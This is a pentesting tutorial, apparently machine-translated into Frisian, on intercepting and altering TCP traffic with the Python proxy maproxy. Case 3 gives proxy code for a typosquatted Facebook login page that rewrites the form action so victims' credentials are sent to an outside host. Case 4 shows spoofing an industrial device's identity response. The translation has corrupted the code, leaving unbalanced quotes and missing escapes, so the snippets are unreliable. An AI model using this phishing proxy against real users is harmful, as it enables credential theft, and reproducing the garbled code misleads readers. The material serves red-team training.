Ferwurkje netwurkgegevens op 'e flecht

De oersetting fan it artikel waard taret op 'e foarjûn fan it begjin fan' e kursus "Pentest. Praktyk foar penetraasjetesten".

Ferwurkje netwurkgegevens op 'e flecht

Annotaasje

In ferskaat oan soarten befeiligingsbeoardielingen, fariearjend fan reguliere penetraasjetesten en operaasjes fan Red Team oant hacking fan IoT / ICS-apparaten en SCADA, omfetsje wurkjen mei binêre netwurkprotokollen, dat is yn essinsje it ûnderskeppen en wizigjen fan netwurkgegevens tusken de kliïnt en it doel. Netwurkferkear snuffelje is gjin drege taak, om't wy ark hawwe lykas Wireshark, Tcpdump of Scapy, mar modifikaasje liket in mear arbeidsyntinsive taak te wêzen, om't wy in soarte fan ynterface moatte hawwe om de netwurkgegevens te lêzen, te filterjen, te feroarjen it op 'e flecht en stjoer it werom nei de doelhost yn hast echte tiid. Dêrnjonken soe it ideaal wêze as sa'n ark automatysk mei meardere parallelle ferbiningen wurkje koe en oanpast wurde mei skripts.

Op in dei ûntduts ik in ark neamd maproxy, de dokumintaasje makke my dat gau dúdlik maproxy - krekt wat ik nedich. Dit is in frij ienfâldige, alsidige en maklik konfigureare TCP-proxy. Ik hifke dit ark op ferskate frij komplekse applikaasjes, ynklusyf ICS-apparaten (dy't in protte pakketten generearje) om te sjen oft it in protte parallelle ferbiningen koe omgean, en it ark die goed.

Dit artikel sil jo yntrodusearje foar it ferwurkjen fan netwurkgegevens op 'e flecht mei maproxy.

oersjoch

Tool maproxy is basearre op Tornado, in populêr en folwoeksen asynchrone netwurkkader yn Python.

Yn it algemien kin it operearje yn ferskate modi:

  • TCP:TCP - net-fersifere TCP-ferbiningen;
  • TCP:SSL и SSL:TCP - mei iensidige fersifering;
  • SSL:SSL - twa-wei fersifering.

It komt as in biblioteek. Foar in flugge start, kinne jo gebrûk meitsje fan foarbyld triemmen dy't wjerspegelje de wichtichste bibleteek funksjes:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Gefal 1 - ienfâldige bidirectionele proxy

Basearre op tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

standert ProxyServer() nimt twa arguminten - de ferbining lokaasje en de doelpoarte. server.listen() nimt ien argumint - de haven foar it harkjen nei de ynkommende ferbining.

It skript útfiere:

# python tcp2tcp.py

Om de test út te fieren, sille wy ferbine mei in lokale SSH-tsjinner fia ús proxyskript, dat harket op 2222/tcp haven en ferbynt mei in standert haven 22/tcp SSH-tsjinners:

Ferwurkje netwurkgegevens op 'e flecht

De wolkombanner ynformearret jo dat ús foarbyldskript netwurkferkear mei sukses proxy hat.

Case 2 - data wiziging

In oare demo skript logging_proxy.py ideaal foar ynteraksje mei netwurkgegevens. De opmerkingen yn it bestân beskriuwe de klassemetoaden dy't jo kinne wizigje om jo doel te berikken:

Ferwurkje netwurkgegevens op 'e flecht

It meast nijsgjirrige ding is hjir:

  • on_c2p_done_read - om gegevens ûnderweis fan 'e kliïnt nei de tsjinner te ûnderskeppen;
  • on_p2s_done_read - omkeard.

Litte wy besykje de SSH-banner te feroarjen dat de tsjinner weromkomt nei de kliïnt:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

It skript útfiere:

Ferwurkje netwurkgegevens op 'e flecht

Sa't jo sjen kinne, waard de kliïnt misledige om't de SSH-tsjinnernamme foar him waard feroare yn «DumnySSH».

Ferwurkje netwurkgegevens op 'e flecht

Gefal 3 - ienfâldige phishing-webside

D'r binne einleaze manieren om dit ark te brûken. Litte wy dizze kear rjochtsje op wat mear praktysk fan 'e kant fan' e Reade Team-operaasjes. Litte wy de lâningsside imitearje m.facebook.com en brûk in oanpaste domein mei in opsetlike typflater, bygelyks, m.facebok.com. Lit ús foar demonstraasjedoelen gewoan oannimme dat it domein troch ús registrearre is.

Wy sille in net-fersifere netwurkferbining meitsje mei ús slachtoffers proxy en SSL Stream nei de Facebook-tsjinner (31.13.81.36). Om dit foarbyld wurk te meitsjen, moatte wy de HTTP-host-header ferfange en de juste hostnamme ynjeksje, en wy sille ek reaksjekompresje útskeakelje om maklike tagong ta de ynhâld te tastean. Uteinlik sille wy it HTML-formulier ferfange, sadat de oanmeldgegevens nei ús stjoerd wurde ynstee fan Facebook's servers:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/fy/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Yn gearfetting:

Ferwurkje netwurkgegevens op 'e flecht

Sa't jo sjen kinne, koenen wy mei súkses de oarspronklike side ferfange.

Case 4 - Portearje Ethernet / IP

Ik haw in skoft dwaande west mei yndustriële apparaten en software (ICS / SCADA), lykas programmabele controllers (PLC), I / O-modules, driuwfearren, relais, ljedderprogrammearrings en folle mear. Dit gefal is foar dyjingen dy't graach yndustriële dingen. Hacking fan sokke oplossingen omfettet aktyf boartsjen mei netwurkprotokollen. Yn it folgjende foarbyld wol ik sjen litte hoe't jo ICS / SCADA netwurkferkear kinne wizigje.

Hjirfoar sille jo it folgjende nedich hawwe:

  • Netwurk sniffer, bygelyks, Wireshark;
  • Ethernet / IP of gewoan in SIP-apparaat, jo kinne it fine mei de Shodan-tsjinst;
  • Us skript is basearre op maproxy.

Litte wy earst sjen hoe't in typysk identifikaasjeantwurd fan CIP (Common Industrial Protocol) der útsjocht:

Ferwurkje netwurkgegevens op 'e flecht

Apparaatidentifikaasje wurdt berikt mei it Ethernet / IP-protokol, dat is in ferbettere ferzje fan it yndustriële Ethernet-protokol dat kontrôleprotokollen lykas CIP omfettet. Wy sille de markearre ID-namme feroarje dy't sichtber is yn 'e skermprint "NI-IndComm foar Ethernet" mei help fan ús proxy skript. Wy koene it skript opnij brûke logging_proxy.py en op deselde manier feroarje de klasse metoade on_p2s_done_read, om't wy wolle dat in oare identiteitsnamme sichtber is op de kliïnt.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Yn essinsje hawwe wy twa kear frege om apparaatidentifikaasje, it twadde antwurd wie de orizjinele, en de earste waard op 'e flecht feroare.

En de lêste

Nei myn miening maproxy In handich en ienfâldich ark, dat ek skreaun is yn Python, dus ik leau dat jo ek profitearje kinne fan it brûken. Fansels binne d'r kompleksere ark foar it ferwurkjen en feroarjen fan netwurkgegevens, mar se fereaskje ek mear omtinken en wurde meastentiids makke foar in spesifike gebrûk, bgl. Muraena, Modlishka of evilginx foar gefallen fergelykber mei de tredde, of bank foar it lêste gefal. Op ien of oare manier, mei help maproxy jo kinne jo ideeën fluch ymplementearje foar it ûnderskepen fan netwurkgegevens, om't de foarbyldskripts heul dúdlik binne.

Testen fan autentikaasjemeganismen yn Windows AD

Boarne: www.habr.com

Add a comment